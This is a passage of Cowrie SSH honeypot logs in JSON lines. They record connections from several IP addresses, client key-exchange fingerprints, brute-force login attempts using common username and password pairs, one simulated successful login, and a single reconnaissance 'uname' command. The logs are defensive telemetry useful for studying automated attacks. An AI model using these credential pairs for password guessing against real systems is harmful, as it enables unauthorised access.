-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:51:12.939433Z","src_ip":"80.94.92.182","session":"883fcb08477d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"zxcvasdfqwer@1234","message":"login attempt [sol/zxcvasdfqwer@1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:51:15.263047Z","src_ip":"80.94.92.182","session":"883fcb08477d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.199.4","src_port":45944,"dst_ip":"159.203.135.109","dst_port":22,"session":"e690830f24a9","protocol":"ssh","message":"New connection: 103.75.199.4:45944 (159.203.135.109:22) [session: e690830f24a9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:51:16.176477Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:51:16.181184Z","src_ip":"103.75.199.4","session":"e690830f24a9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:51:16.272353Z","src_ip":"103.75.199.4","session":"e690830f24a9","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"steam","password":"123456","message":"login attempt [steam/123456] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:51:16.545853Z","src_ip":"103.75.199.4","session":"e690830f24a9","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:51:16.775036Z","src_ip":"103.75.199.4","session":"e690830f24a9","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:51:16.778263Z","src_ip":"103.75.199.4","session":"e690830f24a9","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:51:16.872490Z","src_ip":"103.75.199.4","session":"e690830f24a9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:51:16.877932Z","src_ip":"103.75.199.4","session":"e690830f24a9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.0","message":"Connection lost after 5.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:51:17.616302Z","src_ip":"80.94.92.182","session":"883fcb08477d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"78.40.37.143","src_port":41252,"dst_ip":"10.17.0.5","dst_port":22,"session":"b4655c393bd4","protocol":"ssh","message":"New connection: 78.40.37.143:41252 (10.17.0.5:22) [session: b4655c393bd4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:51:23.272457Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:51:23.277812Z","src_ip":"78.40.37.143","session":"b4655c393bd4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:51:23.361462Z","src_ip":"78.40.37.143","session":"b4655c393bd4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"linux123","message":"login attempt [root/linux123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:51:23.726213Z","src_ip":"78.40.37.143","session":"b4655c393bd4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:51:24.812190Z","src_ip":"78.40.37.143","session":"b4655c393bd4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.154.34.232","src_port":35110,"dst_ip":"10.17.0.5","dst_port":22,"session":"acda0ed33c13","protocol":"ssh","message":"New connection: 94.154.34.232:35110 (10.17.0.5:22) [session: acda0ed33c13]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:51:27.522858Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:51:27.527254Z","src_ip":"94.154.34.232","session":"acda0ed33c13","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:51:27.650745Z","src_ip":"94.154.34.232","session":"acda0ed33c13","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Mtm$%889*G*S3%G","message":"login attempt [root/Mtm$%889*G*S3%G] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:51:28.175871Z","src_ip":"94.154.34.232","session":"acda0ed33c13","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:51:29.301257Z","src_ip":"94.154.34.232","session":"acda0ed33c13","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.199.4","src_port":55554,"dst_ip":"159.203.135.109","dst_port":22,"session":"8995de248297","protocol":"ssh","message":"New connection: 103.75.199.4:55554 (159.203.135.109:22) [session: 8995de248297]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:51:38.041087Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:51:38.044731Z","src_ip":"103.75.199.4","session":"8995de248297","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:51:38.139522Z","src_ip":"103.75.199.4","session":"8995de248297","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hu","password":"123456","message":"login attempt [hu/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:51:38.424609Z","src_ip":"103.75.199.4","session":"8995de248297","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:51:39.521715Z","src_ip":"103.75.199.4","session":"8995de248297","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"154.83.196.237","src_port":42032,"dst_ip":"159.203.135.109","dst_port":22,"session":"2d76405b4d64","protocol":"ssh","message":"New connection: 154.83.196.237:42032 (159.203.135.109:22) [session: 2d76405b4d64]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:51:51.237293Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:51:51.241767Z","src_ip":"154.83.196.237","session":"2d76405b4d64","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:51:51.364816Z","src_ip":"154.83.196.237","session":"2d76405b4d64","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"upload","message":"login attempt [root/upload] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:51:51.881395Z","src_ip":"154.83.196.237","session":"2d76405b4d64","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:51:53.007073Z","src_ip":"154.83.196.237","session":"2d76405b4d64","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.171","src_port":46890,"dst_ip":"159.203.135.109","dst_port":22,"session":"47b1ddc05d1c","protocol":"ssh","message":"New connection: 80.94.92.171:46890 (159.203.135.109:22) [session: 47b1ddc05d1c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:51:59.388340Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:51:59.817922Z","src_ip":"80.94.92.171","session":"47b1ddc05d1c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:51:59.822055Z","src_ip":"80.94.92.171","session":"47b1ddc05d1c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.199.4","src_port":40382,"dst_ip":"159.203.135.109","dst_port":22,"session":"a6554ef1ef19","protocol":"ssh","message":"New connection: 103.75.199.4:40382 (159.203.135.109:22) [session: a6554ef1ef19]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:51:59.880894Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:51:59.886464Z","src_ip":"103.75.199.4","session":"a6554ef1ef19","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:52:00.044567Z","src_ip":"103.75.199.4","session":"a6554ef1ef19","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"123456","message":"login attempt [test/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:52:00.334600Z","src_ip":"103.75.199.4","session":"a6554ef1ef19","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"123","message":"login attempt [sol/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:52:00.361323Z","src_ip":"80.94.92.171","session":"47b1ddc05d1c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:52:01.429241Z","src_ip":"103.75.199.4","session":"a6554ef1ef19","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.4","message":"Connection lost after 4.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:52:03.749236Z","src_ip":"80.94.92.171","session":"47b1ddc05d1c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"114.217.53.0","src_port":43680,"dst_ip":"10.17.0.5","dst_port":22,"session":"08be4ef6799c","protocol":"ssh","message":"New connection: 114.217.53.0:43680 (10.17.0.5:22) [session: 08be4ef6799c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:52:06.515111Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:52:06.519407Z","src_ip":"114.217.53.0","session":"08be4ef6799c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98ddc5604ef6a1006a2b49a58759fbe6","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1"],"keyAlgs":["rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98ddc5604ef6a1006a2b49a58759fbe6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:52:06.756707Z","src_ip":"114.217.53.0","session":"08be4ef6799c","protocol":"ssh"}
